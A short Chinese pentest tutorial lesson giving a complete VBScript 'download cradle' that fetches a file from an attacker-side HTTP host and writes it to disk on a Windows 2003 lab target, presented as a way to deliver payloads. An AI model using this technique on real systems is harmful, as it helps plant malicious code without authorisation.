第三十九课:vbs一句话下载payload补充

释放双眼,带上耳机,听听看~!

在实战中,会碰到许多让人敬畏的环境,也许无法执行,或者无法把下载参数带入其中,故补充第七季 vbs 参数化的下载。

靶机:windows 2003

null

附:源码如下:

“`visual basic strFileURL = “http://192.168.1.115/robots.txt” strHDLocation = “c:\test\logo.txt” Set objXMLHTTP = CreateObject(“MSXML2.XMLHTTP”) objXMLHTTP.open “GET”, strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject(“ADODB.Stream”) objADOStream.Open objADOStream.Type = 1 objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 Set objFSO = CreateObject(“Scripting.FileSystemObject”) If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocati on Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing

“`

Micropoor

人已赞赏
安全教程

第三十六课:解决vps上ssh掉线

2019-11-8 16:14:01

安全教程

第四十课:ftp一句话下载payload

2019-11-9 15:51:08

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索